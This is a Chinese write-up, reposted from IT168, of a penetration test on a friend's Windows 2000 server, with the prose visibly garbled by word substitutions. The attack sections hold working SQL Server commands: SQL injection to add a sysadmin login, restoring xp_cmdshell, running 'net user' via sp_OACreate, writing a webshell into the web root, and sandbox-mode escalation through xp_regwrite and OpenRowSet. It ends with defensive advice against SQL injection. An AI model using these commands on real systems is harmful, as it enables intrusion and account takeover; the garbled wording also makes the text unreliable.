快捷搜索:

记一次简单的渗透测试

记一次简单的渗透测试颠末文章首发IT168安然频道

转载请著明 [safe.it168.com]

作者:悲伤的鱼

【IT168 专稿】媒介:

笔者的一位同伙应聘到一家公司做网管,听说全部机房就他们俩人,事情很轻松。险些是没什么事做,然则昨天忽然给我打电话说是机房被入侵了,被人加了很多用户并且什么cain,arpspoof全都丢到javascript:tagshow(event, '%B7%FE%CE%F1%C6%F7');" href="javascript:;" target=_self>办事器上了,想让笔者协助看看是怎么渗透进去的,于是乎在欺诈了一顿烤鸭之后笔者终于脱手了。在颠末同伙的批准之后特意将本文写出来!

一.渗透前的踩点:

这哥们也够狠,除了丢给我个IP其他什么都没给我!IP是202.108.59.XX。没法子,空手发迹。用superscan扫了下,发明开了21.80.1433 这三个端口,由于我只扫1-3389 。并没望见终真个3389。看来这家伙是怕了,直接把3389给关掉落了。 用旁注的对象检测了下,发明办事器有两个网站。两个都是ASP的站,不用多说了。先探求打针点吧,应用两个啊D都打开google 搜索site:xxxx.com,一页显示一百条,扫了半天只发明一个站有打针点,居然照样SA权限!不被黑才怪!

如图1

既然是SA权限,顿时筹备传个VBS上去,先开了3389在说,然则搞了半天居然用啊D不能列目录!telnet了一下目标办事器的1433发明端口可以外连,于是在打针点后面应用:

exec master.dbo.sp_addlogin sadfish fish;

exec master.dbo.sp_addsrvrolemember sadfish,sysadmin

来添加一个用户名为sadfish密码为fish的SQL server用户权限为SA 。在页面履行两次都返回成功,阐明添加成功了,顿时打开查询阐发器连上,成功连接,然则所有的存储历程都被删掉落了。

二: 规复存储历程

于是顿时想到规复存储历程来履行敕令,于是在查询阐发器里履行:

CODE:

use master

exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'

exec sp_addextendedproc xp_dirtree,'xpstar.dll'

exec sp_addextendedproc xp_enumgroups,'xplog70.dll'

exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'

exec sp_addextendedproc xp_loginconfig,'xplog70.dll'

exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'

exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'

exec sp_addextendedproc sp_OACreate,'odsole70.dll'

exec sp_addextendedproc sp_OADestroy,'odsole70.dll'

exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'

exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'

exec sp_addextendedproc sp_OAMethod,'odsole70.dll'

exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'

exec sp_addextendedproc sp_OAStop,'odsole70.dll'

exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'

exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'

exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'

exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'

exec sp_addextendedproc xp_regread,'xpstar.dll'

exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'

exec sp_addextendedproc xp_regwrite,'xpstar.dll'

exec sp_addextendedproc xp_availablemedia,'xpstar.dll'便是将以上的存储历程整个规复,然则在履行的时刻却提示没能找到sp_addextendedproc,原本治理员把sp_addextendedproc也删了。

图3

于是只能先规复sp_addextendedproc,语句如下:

CODE:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

GO

图4

履行成功,然后规复存储历程,成功规复了所用存储过,然则在履行exec master.dbo.xp_cmdshell 'net user'

的时刻却提示:

ODBC:消息 0,级别 16,状态 1,无法装载 DLL xp_cmdshell.dll 或该 DLL 所引用的某一 DLL。

缘故原由:126(error not found)。原本治理员把DLL 都删了。然后又想能不能应用SP_OAcreate来加个治理员呢?

三.探求WEB目录

于是在查询阐发器里履行:

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD

@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'

来添加个密码用户为sadfish的治理员,提示敕令完成,于是顿时履行:

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'便是把netstat -an的结果显示在1.txt里保存在c:\,提示成功。

然后继承应用:

CODE:

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end来读取1.txt里的内容,然则却发明不存在1.txt。

图5

难道SP_OAcreate也不能用?是不是wscript.shell被删了?歇一会,收拾下思路从新来,先用xp_subdirs来找WEB目录,语句是exec master.dbo.xp_subdirs 'c":\',发明办事器只有C、D两个磁盘,并且文件夹也不多。怎么越来越感到像是数据库办事器呢?不过既然稀有据库了也可以找到后台经由过程后台备份拿个SHELL,不过这个SA如果拿不到办事器权限那真是有点丢人了。用阿D经由过程刚才的打针点扫一下后台,竟然没扫到,只发清楚明了一个inc目录下有个test.asp 文件,打开后竟然发清楚明了WEB目录。

图6

原本WEB目录是C:\Inetpub\tianhong\ ,一样平常感到治理员都不会用C:\Inetpub这个目录,自己也就没看,差点坏了大年夜事。

四.成功得到WEBSHELL

不过既然知道了WEB目录 就可以写一个一句话进去啦 语句如下

CODE:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

''敕令履行成功 看来一句话写进去了,顿时应用客户端连一下,连接成功。

图7

顿时传大年夜马筹备提权,办事器没什么第三方软件->开始→法度榜样目录不能浏览,2000的操作系统,权限设置的还算严格,看一下终端,一看吓一跳,治理员把终端改成了21端口,第一次碰着。

图8

在WEBSHELL里转了半天照样没什么劳绩,感到照样得靠那个SA来提权,于是笔者问了下同伙,他说你怎么忘了沙盒模式?

看来近来脑筋晕了于是在查询阐发器里履行:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'

意思是改动注册表,开启沙盒:

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sadfish fish /add")');

五,沙盒模式提升权限

使用沙盒模式来添加个治理员,然则照样没有添加进去!愁闷了,于是把SA丢给同伙让他协助看看,过了一会笔者同伙给笔者把办事器发来了,竟然提上了。原本治理员做了密码策略,必要繁杂的密码才能登岸。比如[email=!@!#ssfsf@$1541]!@!#ssfsf@$1541[/email]顿时用终端连上去,然则却发明不容许登岸,说是不能同时多用户登岸,这个好办理,应用mstsc /console 然后终于进去了。

图9

总结:

所有的关系型数据库——包括SQLSERVER,ORACLE,IBM DB2和MYSQL都轻易受到SQL打针进击。SQL打针进击主要来自WEB利用法度榜样将用户的包孕动态SQL代码的输入转换成了SQL 敕令给数据库履行。编者给广大年夜的网管和WEB法度榜样开拓职员提几点建议:

1、 利用法度榜样应用的去连接数据库的帐户应该只拥有必须的特权,这样有助于保护全部系统尽可能少的受到入侵者的迫害。利用法度榜样不应该用SA或者治理员帐户去连接数据库。作为替代,它应该只有造访它要调用的单个库的权力。

2、 假如一个输入框只可能包括数字,那么要经由过程验证确保用户输入的都是数字。假如可以吸收字母,那就要反省是不是存在弗成吸收的字符。确保你的利用法度榜样要反省以下字符:分号,等号,破折号,括号以及SQL关键字。.NET FRAMEWORK供给了正则表达式来进行繁杂的模式匹配,运用它可以达到优越的效果。别的限定用户输入的字符的长度也是一个好主见。验证用户输入是必须的,由于入侵者可以使用WEB的开放性对利用法度榜样进行SQL打针进击。

3、 动态的SQL语句是一个进行数据库查询的强大年夜的对象,但把它和用户输入混杂在一路就使SQL打针成为了可能。将动态的SQL语句调换成预编译的SQL或者存储历程对大年夜多半利用法度榜样是可行的。预编译的SQL或者存储历程可以将用户的输入做为参数而不是SQL敕令来接管,这样就限定了入侵者的行动。当然,它不适用于你的存储历程中是使用用户输入来天生SQL敕令的环境。在这种环境下,用户输入的SQL敕令仍可能获得履行,你的数据库仍旧有受SQL打针进击的危险。

4、 应用双引号调换掉落所有用户输入的单引号,这个简单的预防步伐将在很大年夜法度榜样上预防SQL打针进击,单引号经常停止掉落SQL语句,可能给于输入者不需要的权力。用双引号调换掉落单引号可以使许多SQL打针进击掉败。

TAG:

渗透测试

您可能还会对下面的文章感兴趣: